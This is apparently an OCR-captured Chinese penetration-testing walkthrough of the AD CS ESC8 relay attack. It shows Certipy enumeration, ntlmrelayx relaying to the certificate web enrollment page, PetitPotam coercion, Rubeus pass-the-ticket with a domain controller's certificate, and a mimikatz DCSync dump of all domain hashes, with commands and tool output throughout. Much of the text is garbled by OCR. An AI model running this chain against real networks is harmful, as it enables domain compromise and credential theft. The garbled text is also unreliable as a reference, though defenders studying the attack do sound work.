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https://github.com/GhostPack/Certify

Hoertify. exe find fvulnerable
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[+] No Vulnerable Certificates Templates found!
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certipy find -u xxx@xxx.com -p xxx -dc-ip 127.1.71.1 -vulnerable

['] Vulnerabilities

ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue

XETEMNER, hEFAEXEEIER, TEEIIBCSENU—TE.
B FimpacketlITEE, IENEELF

https://github.com/fortra/impacket
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pip install virtualenv

virtualenv impacket


af://n0

3ms
-master/impacket, clear=False, no_vcs_ignore=False, g

se, pip=bundle, setuptools=bundle, wheel=bundle, via=copy, app_da

tuptools=59. , wheel
rator,FishActi r,Nush hellAactivator,PythonActivator
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source ./bin/activate
cd ../
pip install

SEZEimpacketA9{ki

-master

311-manylinu>

Collecting ldapdomaindump :
nload] 1dapde i

ntlmrelayx.py
Impacket v@.10.1.devl - Copy

Protocol Client HTTPS loaded ..
Protocol Client HTTP loaded ..
Protocol Client SMTP loaded ..
Protocol Client SMB loa o
Protocol ent SOL loaded ..
Protocol ent LDAP loaded ..
LDAPS loaded ..
Client IMAPS loaded ..
Client IMAP loaded ..
DCSYNC loaded ..
RPC loaded ..
reflection mode
SME Server
HTTP Server on port 8@
WCF Serve
RAW Server on port 6666
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certutil -config - -ping

crcertutl] -confiz - -ping
ST 4 ? *
AR mETIa(CANS).
CA HEHL

-CA 5.00M
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ERXNRSHE MR, RTTEEImS TR RERE.

HER, XEMSEDBIITEREGREN, EENLRAX G, WEEATLUEEREE.
M—RREAIRC2, PTHLSLERE.
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~/Desktop/cstools/impacket-master/examples
ntlmrelayx.py b2s5uUppol -targe
DomainController
Impacket v0.10.1.devl - Copyright 2022 Fortra

‘certsrv/certfnsh.asp

[+] Impacket Library Installation Path: /root/Desktop/cstools/impacket-master/ntlml/lib/python3.11/site-packages
/impacket

[*] Protocol Client HTTPS loaded.
[*] Protocol Client HTTP loaded.
[*] Protocol Client SMTP loaded.
[#*] Protocol Client SMB loaded.
[*] Protocol Client MSSQL loaded.
[*] Protocol Client LDAPS loaded.
[#*] Protocol Client LDAP loaded.
[*] Protocol Client IMAPS loaded.
[*] Protocol Client IMAP loaded.
[#*] Protocol Client DCSYNC loaded.
[*] Protocol Client RPC loaded.
[+] Protocol Attack DCSYNC loaded.
[+] Protocol Attack RPC loaded.
[+] Protocol Attack HTTP loaded.
[+] Protocol Attack HTTPS loaded.
[+] Protocol Attack SMB loaded.

SAFEFRAAPetitPotamimiASRF T — M=, LIRS FAIPARIRSS RS L,

PetitPotam.py 10.¢
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PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)

Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN

Y

rying pipe lsarpc

Connecting to ncacn_np:

Connected!

Binding to ¢

Successfully bound!

Sending EfsRpcOpenFileRaw!

Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
OK! Using unpatched function!

Sending EfsRpcEncryptFileSrv!

Got expected ERROR_BAD NETPATH exception!
Attack worked!
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[+]
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[+]
=
[+]
[+]

+

PRRRAMERES

[+] No more targets
[*#] SMBD-Thread-7 (process_request_thread): Connection from 10.3@.10.235 controlled, but there are no more targe
ts left!
[*] Generating CSR...
[*] CSR generated!
Getting certificate...
GOT CERTIFICATE! ID 14
Base64 certificate of user ALI-ADS:




EHIXGKIER, AEFARubeusENERR

Rubeus.exe asktgt /user:DC01$ /certificate:/ptt

Fubeus. exe 2t Suser: . Ffeertificate:]

PTREZ RRESEMENRIATH.

-IEIJ.IEIJ.L‘iT'" # lsadump: :
1[DC]
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python3 PetitPotam.py 10.2.2.2 10.1.1.1 -u xxx -p xxx -d xxx



PetitPotam.py 10.

by topotam (@topotam77)

Inspired by @tifkin_ & @elad_shamir prewvious work on MS-RPRN

ully bound!
nding Efs penFileRaw!
Got RPC_ACC DENIEDII EfsRpcOpenFileRaw is probably PATCHED!

. the domain
; 11 be Fhe nc

BerREUE A2 ERFAYhash,
Tsadump: :dcsync /domain:xxx.com /all /csv

NRENAAXKERE, BALISENEIANRE, ERESTk.
FEREMN E— SR

/outfile:fucku.krb
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netlogon
samr
Isarp

TAUE, EfEpetitpotamBISEUNT

python3 PetitPotam.py 127.0.0.1 127.0.0.2

XEALIERERpipeEE

lsarpc
Connecting to
C -.]! |F|-=1 ted!

ncacn

_npz:l

Succes .Fully bound!
Sending EfsRpcOpenFileRaw!

J'Jl.[: li: 55

ec T.::_'j

_DENIED!

EF'F'DF_EAD NETF‘ATH exception !!
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EfsRpcOpenFileRaw is probably PATCHED!
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ERB-ERROR (16) :| KDC_ERE_PADATA TYPE NOSUPP
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Rubeus.exe asktgt /user:AD$ /dc:anotherAD /certificate:xxx /ptt
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ull v imported!
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FENE, FREFRIKerberosIMERBEI BA AR SESHI TAERALLT .

BE—BEEABETADCSIXMNRA, Maf s,

XNFHET, XANGTRY 78 7 [FERAKerberosiAIE, SEUFIET—DLC, BT mimaHsk,
H4FnETe? FURMH 78 7 — MIUPKINITIY AR,

EXANRAR R ESTFIEREHITKerberosIAILE,

A=V
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FERR:

% KDC

Client
|
|

Pre-authentication data containing the client's certificate
and a timestamp encrypted with the client's private key

Ve

| |
: AS-REQ |

; >

| |

| | Client certificate chain validation
' PR

|

: I Timestamp decryption

| and verification
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' AS-REP
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AS-REP containing a TGT and a session key
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KSR T.

2RTGTZ/G, REAREMAESKerberosiE— T, XBEHMABFERT.

0x03 REVIAIE TAIFIE

BEMmS, 1EERZE EEpythonMEFFEEREER.
MEfEwWINRRE FELESBE RO SRR, TF:
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https://xz.aliyun.com/t/12267#toc-9
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Windowifig

ERELINE, EEBLinuxtlESLARPythonIMETRIFIAE, FE—&Windows#l25iHi=. ADCSIRSS =8
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#5445, FHEGEGR

divertTCPConn.exe 445 4455 debug

#HHT

python.exe ntlmrelayx.py -t http://10.211.55.20/certsrv/certfnsh.asp -smb2support --smb-port

Fc&pythonIMEF TEMIR A FTLABRXNMAE, (EEFEESERNR.

Done
SEN:

https://forum.butian.net/share/1941
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https://mp.weixin.qg.com/s? biz=MzkxNTEzZMTAOMw==&mid=2247492198&idx=1&sn=a7694516
8a0f875685e3e0d8aad4596c&chksm=c1617daaf616f4bc0e7812ee5eb533ba786dd63¢30c3f91cfbd
0bd9e509263b4f36dd5987494&scene=21#wechat redirect

https://xz.aliyun.com/t/10395

https://zhuanlan.zhihu.com/p/621550159
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